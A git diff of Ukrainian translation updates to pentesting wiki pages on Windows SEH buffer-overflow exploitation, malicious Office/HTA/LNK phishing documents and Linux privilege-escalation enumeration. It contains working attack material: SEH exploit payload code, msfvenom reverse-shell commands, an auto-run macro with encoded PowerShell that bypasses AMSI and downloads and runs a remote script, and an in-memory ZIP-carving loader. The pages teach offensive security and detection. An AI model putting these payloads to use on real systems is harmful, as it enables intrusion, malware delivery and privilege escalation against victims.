і перехід до shellcode у stack +- arm64, без ASLR, ROP гаджет для роблення стеку виконуваним і перехід до shellcode у стеку -## Посилання +## References - [HTB Reaper: Format-string leak + stack BOF → VirtualAlloc ROP (RCE)](https://0xdf.gitlab.io/2025/08/26/htb-reaper.html) - [VirtualAlloc documentation](https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualalloc) diff --git a/src/binary-exploitation/stack-overflow/windows-seh-overflow.md b/src/binary-exploitation/stack-overflow/windows-seh-overflow.md index ddb7b35a4..449e39fdb 100644 --- a/src/binary-exploitation/stack-overflow/windows-seh-overflow.md +++ b/src/binary-exploitation/stack-overflow/windows-seh-overflow.md @@ -2,26 +2,26 @@ {{#include ../../banners/hacktricks-training.md}} -SEH-based exploitation — класична x86 Windows техніка, яка зловживає Structured Exception Handler chain, що зберігається в стеку. Коли stack buffer overflow перезаписує два 4-байтові поля +SEH-based exploitation — це класична техніка для x86 Windows, яка зловживає ланцюжком Structured Exception Handler, що зберігається в стеку. Коли переповнення буфера на стеку перезаписує два 4-байтові поля - nSEH: вказівник на наступний запис SEH, та - SEH: вказівник на функцію обробника винятків -зловмисник може отримати контроль над виконанням шляхом: +нападник може отримати контроль над виконанням шляхом: -1) Встановлення SEH на адресу POP POP RET gadget в непідзахищеному модулі, так щоб при обробці винятку gadget повернув керування в байти, контрольовані зловмисником, та -2) Використання nSEH для перенаправлення виконання (зазвичай коротким стрибком) назад у великий переповнений буфер, де знаходиться shellcode. +1) Встановлення SEH на адресу POP POP RET гаджета в непідзахищеному модулі, так що коли виняток буде оброблено, гаджет поверне виконання до байтів, контрольованих нападником, та +2) Використання nSEH для перенаправлення виконання (зазвичай короткий стрибок) назад у великий переповнений буфер, де знаходиться shellcode. -Ця техніка специфічна для 32-bit процесів (x86). На сучасних системах віддавайте перевагу модулю без SafeSEH і ASLR для пошуку gadget'а. Недопустимі символи часто включають 0x00, 0x0a, 0x0d (NUL/CR/LF) через C-strings і парсинг HTTP. +Ця техніка специфічна для 32-бітних процесів (x86). На сучасних системах віддавайте перевагу модулю без SafeSEH та ASLR для пошуку гаджета. Небажаними часто бувають символи 0x00, 0x0a, 0x0d (NUL/CR/LF) через C-strings та парсинг HTTP. --- ## Знаходження точних зсувів (nSEH / SEH) -- Спровокуйте краш процесу і перевірте, що SEH chain перезаписано (наприклад, в x32dbg/x64dbg перевірте SEH view). -- Відправте cyclic pattern як переповнюючі дані і обчисліть зсуви двох dword'ів, що потрапляють у nSEH і SEH. +- Викличте падіння процесу і підтвердіть, що ланцюжок SEH перезаписано (наприклад, у x32dbg/x64dbg перевірте SEH view). +- Надішліть циклічний патерн як дані для переповнення і порахуйте зсуви двох dword'ів, які потрапляють у nSEH та SEH. -Приклад з peda/GEF/pwntools на 1000-byte POST body: +Приклад з peda/GEF/pwntools для 1000-байтового POST body: ```bash # generate pattern (any tool is fine) /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 1000 @@ -33,24 +33,24 @@ python3 -c "from pwn import *; print(cyclic(1000).decode())" /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 1000 -q 0x41484241 # SEH # ➜ offsets example: nSEH=660, SEH=664 ``` -Підтвердіть, розмістивши маркери в цих позиціях (наприклад, nSEH=b"BB", SEH=b"CC"). Тримайте загальну довжину сталою, щоб зробити крах відтворюваним. +Валідуйте, розміщуючи маркери в тих позиціях (наприклад, nSEH=b"BB", SEH=b"CC"). Тримайте загальну довжину сталою, щоб зробити краш відтворюваним. --- ## Вибір POP POP RET (SEH gadget) -Вам потрібна послідовність POP POP RET, щоб розгорнути SEH-фрейм і повернутися до байтів nSEH. Знайдіть її в модулі без SafeSEH і, бажано, без ASLR: +Вам потрібна послідовність POP POP RET, щоб розгорнути SEH рамку і повернутися до ваших nSEH байтів. Знайдіть її в модулі без SafeSEH і, бажано, без ASLR: -- Mona (Immunity/WinDbg): `!mona modules`, потім `!mona seh -m modulename`. -- x64dbg plugin ERC.Xdbg: `ERC --SEH`, щоб перелічити POP POP RET gadgets і статус SafeSEH. +- Mona (Immunity/WinDbg): `!mona modules` потім `!mona seh -m modulename`. +- x64dbg plugin ERC.Xdbg: `ERC --SEH` щоб показати список POP POP RET gadgets і статус SafeSEH. -Виберіть адресу, яка при записі в little-endian не містить badchars (наприклад, `p32(0x004094D8)`). Віддавайте перевагу gadgets всередині вразливого бінарника, якщо захист дозволяє. +Виберіть адресу, яка не містить badchars при записі у little-endian (наприклад, `p32(0x004094D8)`). Віддавайте перевагу гаджетам всередині vulnerable binary, якщо protections дозволяють. --- -## Техніка повернення назад (short + near jmp) +## Jump-back technique (short + near jmp) -nSEH займає лише 4 байти, що вміщує щонайбільше 2-байтовий short jump (`EB xx`) плюс паддінг. Якщо потрібно відскочити на сотні байтів назад, щоб дістатися початку вашого буфера, використайте 5-байтовий near jump, розміщений безпосередньо перед nSEH, і зчепіть його з коротким переходом зі nSEH. +nSEH має лише 4 байти, що вміщує щонайбільше 2-байтовий short jump (`EB xx`) плюс padding. Якщо потрібно відскочити назад на сотні байтів, щоб дістатися початку буфера, використайте 5-байтовий near jump, розташований безпосередньо перед nSEH, і зв'яжіть його коротким стрибком з nSEH. With nasmshell: ```text @@ -61,7 +61,7 @@ EBF6 nasm> jmp -652 ; 8 bytes closer (to account for short-jmp hop) E96FFDFFFF ``` -Ідея розміщення для 1000-байтового payload з nSEH на зсуві 660: +Ідея макета для 1000-byte payload з nSEH на offset 660: ```python buffer_length = 1000 payload = b"\x90"*50 + shellcode # NOP sled + shellcode at buffer start @@ -71,40 +71,38 @@ payload += b"\xEB\xF6" + b"BB" # nSEH: short jmp -8 + 2B pa payload += p32(0x004094D8) # SEH: POP POP RET (no badchars) payload += b"D" * (buffer_length - len(payload)) ``` -Потік виконання: +Execution flow: - Виникає виняток, диспетчер використовує перезаписаний SEH. -- POP POP RET призводить до виконання нашого nSEH. -- nSEH виконує `jmp short -8` у 5-байтовий near jump. -- Near jump приземляється на початку нашого буфера, де розташований NOP sled + shellcode. +- POP POP RET призводить до переходу в наш nSEH. +- nSEH виконує `jmp short -8`, переходячи в 5-байтовий near jump. +- Near jump потрапляє на початок нашого буфера, де знаходиться NOP sled + shellcode. --- -## Небажані символи +## Погані символи -Створіть повний badchar string і порівняйте вміст стеку після краху, вилучаючи байти, які спотворює парсер цілі. Для переповнень на основі HTTP, `\x00\x0a\x0d` майже завжди виключені. +Зберіть повний рядок badchar і порівняйте пам'ять стеку після краху, вилучаючи байти, які спотворюються парсером цілі. Для переповнень, що базуються на HTTP, `\x00\x0a\x0d` майже завжди виключені. ```python badchars = bytes([x for x in range(1,256)]) payload = b"A"*660 + b"BBBB" + b"CCCC" + badchars # position appropriately for your case ``` --- -## Генерація Shellcode (x86) +## Shellcode generation (x86) -Використовуйте msfvenom з вашими badchars. Невеликий NOP sled допомагає компенсувати зміщення при попаданні. +Використовуйте msfvenom із вашими badchars. Невеликий NOP sled допомагає витримати невеликі відхилення при попаданні. ```bash msfvenom -a x86 --platform windows -p windows/shell_reverse_tcp LHOST= LPORT= \ -b "\x00\x0a\x0d" -f python -v sc ``` -Якщо генеруєте на льоту, hex-формат зручний для вбудовування і unhex у Python: +Якщо генерувати на льоту, hex-формат зручний для вбудовування й розкодування в Python: ```bash msfvenom -a x86 --platform windows -p windows/shell_reverse_tcp LHOST= LPORT= \ -b "\x00\x0a\x0d" -f hex ``` ---- +## Передача через HTTP (precise CRLF + Content-Length) -## Доставка через HTTP (precise CRLF + Content-Length) - -Коли вразливим вектором є HTTP request body, сформуйте raw request із точними CRLFs і Content-Length, щоб server прочитав увесь переповнений body. +Коли вразливий вектор — тіло HTTP-запиту, сформуйте сирий запит з точними CRLFs і Content-Length, щоб сервер прочитав весь вміст тіла запиту, який переповнюється. ```python # pip install pwntools from pwn import remote @@ -127,19 +125,19 @@ p.close() ## Інструменти -- x32dbg/x64dbg для спостереження за ланцюжком SEH та аналізу крашу. -- ERC.Xdbg (x64dbg плагін) для перерахування SEH gadgets: `ERC --SEH`. +- x32dbg/x64dbg — для перегляду ланцюга SEH і тріажу crash'у. +- ERC.Xdbg (x64dbg plugin) — щоб перерахувати SEH gadgets: `ERC --SEH`. - Mona як альтернатива: `!mona modules`, `!mona seh`. -- nasmshell для збірки коротких/near jumps та копіювання raw opcodes. -- pwntools для створення точних мережевих payloads. +- nasmshell — для складання short/near jumps та копіювання raw opcodes. +- pwntools — для створення точних network payloads. --- ## Примітки та застереження -- Застосовується лише до процесів x86. x64 використовує інший SEH scheme, і експлуатація, заснована на SEH, зазвичай не є життєздатною. -- Віддавайте перевагу gadget'ам у модулях без SafeSEH та ASLR; інакше знайдіть незахищений модуль, завантажений у процес. -- Сервісні watchdog'и, які автоматично перезапускають сервіс при краші, можуть полегшити ітеративну розробку експлойту. +- Застосовується лише до процесів x86. x64 використовує іншу схему SEH, і експлуатація на основі SEH зазвичай не є життєздатною. +- Надавайте перевагу гаджетам у модулях без SafeSEH і ASLR; інакше знайдіть незахищений модуль, завантажений у процес. +- Watchdog-и сервісів, які автоматично перезапускаються після crash, можуть спростити ітеративну розробку експлойтів. ## Посилання - [HTB: Rainbow – SEH overflow to RCE over HTTP (0xdf)](https://0xdf.gitlab.io/2025/08/07/htb-rainbow.html) diff --git a/src/generic-methodologies-and-resources/phishing-methodology/phishing-documents.md b/src/generic-methodologies-and-resources/phishing-methodology/phishing-documents.md index ccccd74e7..232e94a3d 100644 --- a/src/generic-methodologies-and-resources/phishing-methodology/phishing-documents.md +++ b/src/generic-methodologies-and-resources/phishing-methodology/phishing-documents.md @@ -2,39 +2,39 @@ {{#include ../../banners/hacktricks-training.md}} -## Документи Office +## Office документи -Microsoft Word виконує валідацію даних файлу перед його відкриттям. Валідація даних проводиться шляхом ідентифікації структури даних відповідно до стандарту OfficeOpenXML. Якщо під час ідентифікації структури даних виникає будь-яка помилка, аналізований файл не буде відкрито. +Microsoft Word виконує перевірку даних файлу перед його відкриттям. Перевірка даних виконується шляхом ідентифікації структури даних відповідно до стандарту OfficeOpenXML. Якщо під час ідентифікації структури даних виникає помилка, файл не буде відкрито. -Зазвичай файли Word, що містять макроси, мають розширення `.docm`. Однак можна перейменувати файл, змінивши розширення, і при цьому зберегти можливість виконання макросів.\ -Наприклад, файл RTF за замовчуванням не підтримує макроси, але файл DOCM, перейменований у RTF, буде оброблений Microsoft Word і зможе виконувати макроси.\ -Ті самі внутрішні механізми застосовуються до всього програмного забезпечення Microsoft Office Suite (Excel, PowerPoint тощо). +Зазвичай файли Word, що містять макроси, мають розширення `.docm`. Однак можна перейменувати файл, змінивши розширення, і при цьому зберегти можливість виконання макросів.\ +Наприклад, формат RTF за задумом не підтримує макроси, але DOCM-файл, перейменований у RTF, буде оброблений Microsoft Word і зможе виконувати макроси.\ +Ті ж внутрішні механізми застосовуються до всіх програм Microsoft Office Suite (Excel, PowerPoint тощо). Ви можете використати наступну команду, щоб перевірити, які розширення будуть виконуватися деякими програмами Office: ```bash assoc | findstr /i "word excel powerp" ``` -DOCX files referencing a remote template (File –Options –Add-ins –Manage: Templates –Go) that includes macros can “execute” macros as well. +Файли DOCX, які посилаються на віддалений шаблон (File –Options –Add-ins –Manage: Templates –Go), що містить macros, також можуть виконувати macros. ### Зовнішнє завантаження зображення Перейдіть до: _Insert --> Quick Parts --> Field_\ -_**Categories**: Links and References, **Filed names**: includePicture, і **Filename or URL**:_ http:///whatever +_**Категорії**: Links and References, **Filed names**: includePicture, and **Filename or URL**:_ http:///whatever ![](<../../images/image (155).png>) -### Бекдор через макроси +### Macros Backdoor -It's possible to use macros to run arbitrary code from the document. +Можна використовувати macros для запуску довільного коду з документа. -#### Функції автозавантаження +#### Автозавантажувані функції -The more common they are, the more probable the AV will detect them. +Чим частіше вони використовуються, тим вища ймовірність, що AV їх виявить. - AutoOpen() - Document_Open() -#### Приклади коду макросів +#### Macros Code Examples ```vba Sub AutoOpen() CreateObject("WScript.Shell").Exec ("powershell.exe -nop -Windowstyle hidden -ep bypass -enc JABhACAAPQAgACcAUwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAJwA7ACQAYgAgAD0AIAAnAG0AcwAnADsAJAB1ACAAPQAgACcAVQB0AGkAbABzACcACgAkAGEAcwBzAGUAbQBiAGwAeQAgAD0AIABbAFIAZQBmAF0ALgBBAHMAcwBlAG0AYgBsAHkALgBHAGUAdABUAHkAcABlACgAKAAnAHsAMAB9AHsAMQB9AGkAewAyAH0AJwAgAC0AZgAgACQAYQAsACQAYgAsACQAdQApACkAOwAKACQAZgBpAGUAbABkACAAPQAgACQAYQBzAHMAZQBtAGIAbAB5AC4ARwBlAHQARgBpAGUAbABkACgAKAAnAGEAewAwAH0AaQBJAG4AaQB0AEYAYQBpAGwAZQBkACcAIAAtAGYAIAAkAGIAKQAsACcATgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkAOwAKACQAZgBpAGUAbABkAC4AUwBlAHQAVgBhAGwAdQBlACgAJABuAHUAbABsACwAJAB0AHIAdQBlACkAOwAKAEkARQBYACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMQAwAC4AMQAxAC8AaQBwAHMALgBwAHMAMQAnACkACgA=") @@ -64,16 +64,16 @@ Dim proc As Object Set proc = GetObject("winmgmts:\\.\root\cimv2:Win32_Process") proc.Create "powershell ``` -#### Вручну видалити метадані +#### Ручне видалення метаданих Перейдіть до **File > Info > Inspect Document > Inspect Document**, що відкриє Document Inspector. Натисніть **Inspect**, а потім **Remove All** поруч із **Document Properties and Personal Information**. #### Розширення документа -Після завершення виберіть випадаючий список **Save as type**, змініть формат з **`.docx`** на **Word 97-2003 `.doc`**.\ -Робіть це, оскільки ви **не можете зберегти макроси всередині `.docx`** і існує **стигма** навколо макро-увімкненого розширення **`.docm`** (напр., значок ескізу має величезний `!` і деякі веб/електронні шлюзи їх узагалі блокують). Тому це **застаріле розширення `.doc` є найкращим компромісом**. +Коли закінчите, у випадаючому меню **Save as type** виберіть формат та змініть його з **`.docx`** на **Word 97-2003 `.doc`**.\ +Робіть так, бо ви **не можете зберігати макроси всередині `.docx`** і існує певна **стигма** щодо макро-увімкненого розширення **`.docm`** (наприклад, значок мініатюри має великий `!`, і деякі web/email шлюзи повністю їх блокують). Тому це **застаріле розширення `.doc` є найкращим компромісом**. -#### Генератори шкідливих макросів +#### Malicious Macros Generators - MacOS - [**macphish**](https://github.com/cldrn/macphish) @@ -81,9 +81,9 @@ proc.Create "powershell ## Файли HTA -HTA — це програма для Windows, яка **поєднує HTML та скриптові мови (наприклад VBScript і JScript)**. Вона генерує інтерфейс користувача та виконується як «повністю довірена» програма, без обмежень моделі безпеки браузера. +HTA — це програма для Windows, яка **поєднує HTML та скриптові мови (такі як VBScript і JScript)**. Вона генерує інтерфейс користувача й виконується як «повністю довірений» застосунок, без обмежень моделі безпеки браузера. -HTA виконується за допомогою **`mshta.exe`**, який зазвичай **встановлюється** разом з **Internet Explorer**, через що **`mshta` залежний від IE**. Тому якщо його було видалено, HTA не зможуть виконуватися. +HTA виконується за допомогою **`mshta.exe`**, який зазвичай **встановлюється** разом із **Internet Explorer**, через що **`mshta` залежить від IE**. Тому, якщо його було видалено, HTA не зможуть виконуватись. ```html <--! Basic HTA Execution --> @@ -138,11 +138,11 @@ var_func self.close ``` -## Примушування NTLM автентифікації +## Примус NTLM-аутентифікації -Існує кілька способів **примусити NTLM автентифікацію "віддалено"**, наприклад, ви можете додати **невидимі зображення** до електронних листів або HTML, до яких користувач звернеться (навіть HTTP MitM?). Або надіслати жертві **адресу файлів**, які **спровокують** **автентифікацію** лише при **відкритті папки.** +Існує кілька способів **примусити NTLM-аутентифікацію "віддалено"**, наприклад, ви можете додати **невидимі зображення** в листи або HTML, до яких користувач звернеться (навіть HTTP MitM?). Або надіслати жертві **адресу файлів**, що **спровокує** **аутентифікацію** просто при **відкритті папки.** -**Перевірте ці ідеї та інші на наступних сторінках:** +**Перегляньте ці ідеї та інші на наступних сторінках:** {{#ref}} @@ -156,24 +156,24 @@ self.close ### NTLM Relay -Не забувайте, що ви можете не лише вкрасти хеш або автентифікацію, а й **perform NTLM relay attacks**: +Не забувайте, що ви можете не лише вкрасти хеш або аутентифікацію, але й виконати **NTLM relay attacks**: - [**NTLM Relay attacks**](../pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#ntml-relay-attack) - [**AD CS ESC8 (NTLM relay to certificates)**](../../windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md#ntlm-relay-to-ad-cs-http-endpoints-esc8) ## LNK Loaders + ZIP-Embedded Payloads (fileless chain) -Дуже ефективні кампанії доставляють ZIP, який містить два легітимні приманкові документи (PDF/DOCX) та шкідливий .lnk. Фішка в тому, що фактичний PowerShell loader зберігається всередині сирих байтів ZIP після унікального маркера, а .lnk вирізає й запускає його повністю в пам'яті. +Дуже ефективні кампанії доставляють ZIP, який містить два легітимні підставні документи (PDF/DOCX) та шкідливий .lnk. Фішка в тому, що фактичний PowerShell loader зберігається всередині сирих байтів ZIP після унікального маркера, а .lnk витягує і запускає його повністю в пам'яті. -Типовий потік, реалізований .lnk PowerShell one-liner: +Типовий порядок, реалізований .lnk PowerShell one-liner: -1) Знайти оригінальний ZIP у загальних шляхах: Desktop, Downloads, Documents, %TEMP%, %ProgramData%, та батьківській директорії поточного робочого каталогу. -2) Прочитати байти ZIP і знайти хардкоджений маркер (наприклад, xFIQCV). Все, що йде після маркера — це вбудований PowerShell payload. -3) Скопіювати ZIP до %ProgramData%, розпакувати там і відкрити приманковий .docx, щоб виглядати легітимно. +1) Знайти оригінальний ZIP у звичних шляхах: Desktop, Downloads, Documents, %TEMP%, %ProgramData% та батьківська папка поточної робочої директорії. +2) Прочитати байти ZIP і знайти захардкожений маркер (наприклад, xFIQCV). Усе після маркера — це вбудований PowerShell payload. +3) Скопіювати ZIP у %ProgramData%, розпакувати там і відкрити підставний .docx, щоб виглядало легітимно. 4) Обійти AMSI для поточного процесу: [System.Management.Automation.AmsiUtils]::amsiInitFailed = $true 5) Деобфускувати наступний етап (наприклад, видалити всі символи #) і виконати його в пам'яті. -Example PowerShell skeleton to carve and run the embedded stage: +Приклад PowerShell-скелета для вирізання і запуску вбудованого етапу: ```powershell $marker = [Text.Encoding]::ASCII.GetBytes('xFIQCV') $paths = @( @@ -191,23 +191,23 @@ $code = [Text.Encoding]::UTF8.GetString($stage) -replace '#','' Invoke-Expression $code ``` Примітки -- Доставку часто здійснюють через авторитетні піддомени PaaS (e.g., *.herokuapp.com) і можуть обмежувати доступ до payloads (надавати безпечні ZIPs залежно від IP/UA). -- Наступний етап часто розшифровує base64/XOR shellcode і виконує його через Reflection.Emit + VirtualAlloc, щоб мінімізувати артефакти на диску. +- Доставка часто зловживає авторитетними субдоменами PaaS (наприклад, *.herokuapp.com) і може обмежувати доступ до payloads (подавати нешкідливі ZIPs залежно від IP/UA). +- На наступному етапі часто дешифрують base64/XOR shellcode і виконують його через Reflection.Emit + VirtualAlloc, щоб мінімізувати артефакти на диску. Persistence used in the same chain -- COM TypeLib hijacking of the Microsoft Web Browser control so that IE/Explorer or any app embedding it re-launches the payload automatically. See details and ready-to-use commands here: +- COM TypeLib hijacking of the Microsoft Web Browser control так, щоб IE/Explorer або будь-який додаток, що вбудовує його, автоматично перезапускав payload. Див. деталі та готові до використання команди тут: {{#ref}} ../../windows-hardening/windows-local-privilege-escalation/com-hijacking.md {{#endref}} -Пошук/IOCs -- ZIP-файли, які містять ASCII-маркер (e.g., xFIQCV), доданий до даних архіву. -- .lnk, що перераховує батьківські/користувацькі папки для пошуку ZIP і відкриває підставний документ. +Hunting/IOCs +- ZIP files, що містять ASCII маркерний рядок (наприклад, xFIQCV), доданий до даних архіву. +- .lnk, який перераховує батьківські/користувацькі папки, щоб знайти ZIP і відкрити приманковий документ. - Маніпуляції з AMSI через [System.Management.Automation.AmsiUtils]::amsiInitFailed. -- Довготривалі бізнес-переписки, що закінчуються посиланнями, розміщеними на довірених PaaS-доменах. +- Тривалі бізнес-потоки, що закінчуються посиланнями, розміщеними на довірених доменах PaaS. -## Джерела +## Посилання - [Check Point Research – ZipLine Campaign: A Sophisticated Phishing Attack Targeting US Companies](https://research.checkpoint.com/2025/zipline-phishing-campaign/) - [Hijack the TypeLib – New COM persistence technique (CICADA8)](https://cicada-8.medium.com/hijack-the-typelib-new-com-persistence-technique-32ae1d284661) diff --git a/src/linux-hardening/privilege-escalation/README.md b/src/linux-hardening/privilege-escalation/README.md index 478b29061..4faaef29f 100644 --- a/src/linux-hardening/privilege-escalation/README.md +++ b/src/linux-hardening/privilege-escalation/README.md @@ -2,11 +2,11 @@ {{#include ../../banners/hacktricks-training.md}} -## System Information +## Інформація про систему ### Інформація про ОС -Почнемо з отримання інформації про запущену ОС. +Почнемо збирати інформацію про запущену ОС ```bash (cat /proc/version || uname -a ) 2>/dev/null lsb_release -a 2>/dev/null # old, not by default on many systems @@ -14,28 +14,28 @@ cat /etc/os-release 2>/dev/null # universal on modern systems ``` ### Шлях -Якщо ви **маєте права запису в будь-якій папці всередині змінної `PATH`**, ви можете перехопити деякі бібліотеки або бінарні файли: +Якщо ви **маєте права запису у будь-яку папку всередині змінної `PATH`**, ви можете hijack деякі libraries або binaries: ```bash echo $PATH ``` -### Env info +### Інформація про змінні середовища -Цікава інформація, паролі чи API-ключі у змінних оточення? +Чи містять змінні середовища цікаву інформацію, паролі або API-ключі? ```bash (env || set) 2>/dev/null ``` ### Kernel exploits -Перевірте версію kernel та чи існує якийсь exploit, який можна використати для escalate privileges +Перевірте версію kernel та чи існує exploit, який можна використати для escalate privileges ```bash cat /proc/version uname -a searchsploit "Linux Kernel" ``` -Ви можете знайти хороший список вразливих kernel та деякі вже **compiled exploits** тут: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) та [exploitdb sploits](https://gitlab.com/exploit-database/exploitdb-bin-sploits).\ -Інші сайти, де ви можете знайти деякі **compiled exploits**: [https://github.com/bwbwbwbw/linux-exploit-binaries](https://github.com/bwbwbwbw/linux-exploit-binaries), [https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack](https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack) +Ви можете знайти добрий список вразливих версій ядра та деякі вже **compiled exploits** тут: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) та [exploitdb sploits](https://gitlab.com/exploit-database/exploitdb-bin-sploits).\ +Інші сайти, де можна знайти деякі **compiled exploits**: [https://github.com/bwbwbwbw/linux-exploit-binaries](https://github.com/bwbwbwbw/linux-exploit-binaries), [https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack](https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack) -Щоб витягти всі версії вразливих kernel з цього сайту, ви можете зробити так: +Щоб витягти всі версії вразливого ядра з цього сайту, ви можете зробити: ```bash curl https://raw.githubusercontent.com/lucyoa/kernel-exploits/master/README.md 2>/dev/null | grep "Kernels: " | cut -d ":" -f 2 | cut -d "<" -f 1 | tr -d "," | tr ' ' '\n' | grep -v "^\d\.\d$" | sort -u -r | tr '\n' ' ' ``` @@ -43,9 +43,9 @@ curl https://raw.githubusercontent.com/lucyoa/kernel-exploits/master/README.md 2 [linux-exploit-suggester.sh](https://github.com/mzet-/linux-exploit-suggester)\ [linux-exploit-suggester2.pl](https://github.com/jondonas/linux-exploit-suggester-2)\ -[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (виконувати IN victim, перевіряє лише exploits для kernel 2.x) +[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (execute IN victim,only checks exploits for kernel 2.x) -Завжди **search the kernel version in Google**, можливо ваш kernel version вказаний у якомусь kernel exploit, і тоді ви будете впевнені, що цей exploit дійсний. +Завжди **search the kernel version in Google**, можливо версія вашого kernel вказана в якомусь kernel exploit, і тоді ви будете впевнені, що цей exploit дійсний. ### CVE-2016-5195 (DirtyCow) @@ -57,13 +57,13 @@ g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs https://github.com/evait-security/ClickNRoot/blob/master/1/exploit.c ``` -### Sudo version +### Sudo версія -На основі вразливих версій sudo, що наведені в: +На основі вразливих версій sudo, які згадані в: ```bash searchsploit sudo ``` -Ви можете перевірити, чи версія sudo вразлива, використавши цей grep. +Ви можете перевірити, чи версія sudo вразлива, за допомогою цього grep. ```bash sudo -V | grep "Sudo ver" | grep "1\.[01234567]\.[0-9]\+\|1\.8\.1[0-9]\*\|1\.8\.2[01234567]" ``` @@ -73,7 +73,7 @@ sudo -V | grep "Sudo ver" | grep "1\.[01234567]\.[0-9]\+\|1\.8\.1[0-9]\*\|1\.8\. ``` sudo -u#-1 /bin/bash ``` -### Dmesg перевірка підпису не пройшла +### Dmesg перевірка підпису не вдалася Перевірте **smasher2 box of HTB** для **прикладу** того, як цю vuln можна експлуатувати ```bash @@ -86,7 +86,7 @@ date 2>/dev/null #Date lscpu #CPU info lpstat -a 2>/dev/null #Printers info ``` -## Перелічте можливі засоби захисту +## Перелічити можливі засоби захисту ### AppArmor ```bash @@ -123,7 +123,7 @@ cat /proc/sys/kernel/randomize_va_space 2>/dev/null ``` ## Docker Breakout -Якщо ви всередині docker container, ви можете спробувати вирватися з нього: +Якщо ви всередині docker container ви можете спробувати втекти з нього: {{#ref}} @@ -132,7 +132,7 @@ docker-security/ ## Диски -Перевірте **що змонтовано і що не змонтовано**, де і чому. Якщо щось не змонтовано, ви можете спробувати змонтувати це і перевірити на наявність приватної інформації +Перевірте **що змонтовано і відмонтовано**, де і чому. Якщо щось відмонтовано ви можете спробувати змонтувати це та перевірити на наявність приватної інформації ```bash ls /dev 2>/dev/null | grep -i "sd" cat /etc/fstab 2>/dev/null | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null @@ -145,56 +145,56 @@ grep -E "(user|username|login|pass|password|pw|credentials)[=:]" /etc/fstab /etc ```bash which nmap aws nc ncat netcat nc.traditional wget curl ping gcc g++ make gdb base64 socat python python2 python3 python2.7 python2.6 python3.6 python3.7 perl php ruby xterm doas sudo fetch docker lxc ctr runc rkt kubectl 2>/dev/null ``` -Також перевірте, чи встановлено **будь-який компілятор**. Це корисно, якщо вам потрібно використовувати якийсь kernel exploit, оскільки рекомендовано компілювати його на машині, де ви збираєтеся його використовувати (або на подібній). +Також перевірте, чи встановлено **any compiler**. Це корисно, якщо вам потрібно використати якийсь kernel exploit — рекомендується компілювати його на машині, де ви збираєтеся його використовувати (або на подібній). ```bash (dpkg --list 2>/dev/null | grep "compiler" | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; which gcc g++ 2>/dev/null || locate -r "/gcc[0-9\.-]\+$" 2>/dev/null | grep -v "/doc/") ``` -### Встановлене вразливе програмне забезпечення +### Встановлене уразливе програмне забезпечення -Перевірте **версію встановлених пакетів і сервісів**. Можливо, є якась стара версія Nagios (наприклад), яку можна експлуатувати для escalating privileges…\ -Рекомендується вручну перевіряти версію більш підозрілого встановленого програмного забезпечення. +Перевірте **версію встановлених пакетів та сервісів**. Можливо, є якась стара версія Nagios (наприклад), яка може бути використана для escalating privileges…\ +Рекомендується вручну перевіряти версії більш підозрілого встановленого програмного забезпечення. ```bash dpkg -l #Debian rpm -qa #Centos ``` -Якщо у вас є доступ по SSH до машини, ви також можете використовувати **openVAS** для перевірки на застаріле та вразливе програмне забезпечення, встановлене на цій машині. +If you have SSH access to the machine you could also use **openVAS** to check for outdated and vulnerable software installed inside the machine. -> [!NOTE] > _Зауважте, що ці команди покажуть багато інформації, яка переважно буде марною, тому рекомендовано використовувати такі додатки як OpenVAS або подібні, які перевіряють, чи будь-яка встановлена версія ПЗ вразлива до відомих exploits_ +> [!NOTE] > _Зауважте, що ці команди виведуть велику кількість інформації, яка переважно буде марною, тому рекомендовано використовувати такі додатки, як OpenVAS або подібні, які перевіряють, чи яка-небудь встановлена версія програмного забезпечення є вразливою до відомих exploits_ ## Процеси -Перегляньте, **які процеси** виконуються, і перевірте, чи якийсь процес не має **більше привілеїв, ніж повинен** (наприклад, tomcat, що запускається від імені root?) +Перегляньте, **які процеси** виконуються, і перевірте, чи якийсь процес має **більше привілеїв, ніж повинен** (можливо tomcat виконується від root?) ```bash ps aux ps -ef top -n 1 ``` -Завжди перевіряйте, чи не запущені [**electron/cef/chromium debuggers**], їх можна використати для підвищення привілеїв (electron-cef-chromium-debugger-abuse.md). **Linpeas** виявляє їх, перевіряючи параметр `--inspect` у командному рядку процесу.\ -Також **перевірте свої привілеї щодо бінарних файлів процесів**, можливо, ви зможете перезаписати якийсь. +Завжди перевіряйте можливі [**electron/cef/chromium debuggers** running, you could abuse it to escalate privileges](electron-cef-chromium-debugger-abuse.md). **Linpeas** виявляє їх, перевіряючи параметр `--inspect` у командному рядку процесу.\ +Також перевірте свої привілеї над бінарними файлами процесів — можливо, ви зможете перезаписати чиєсь. ### Моніторинг процесів -Ви можете використовувати інструменти, такі як [**pspy**](https://github.com/DominicBreuker/pspy) для моніторингу процесів. Це може бути дуже корисно для виявлення вразливих процесів, що виконуються часто або коли виконані певні умови. +Ви можете використовувати інструменти на кшталт [**pspy**](https://github.com/DominicBreuker/pspy) для моніторингу 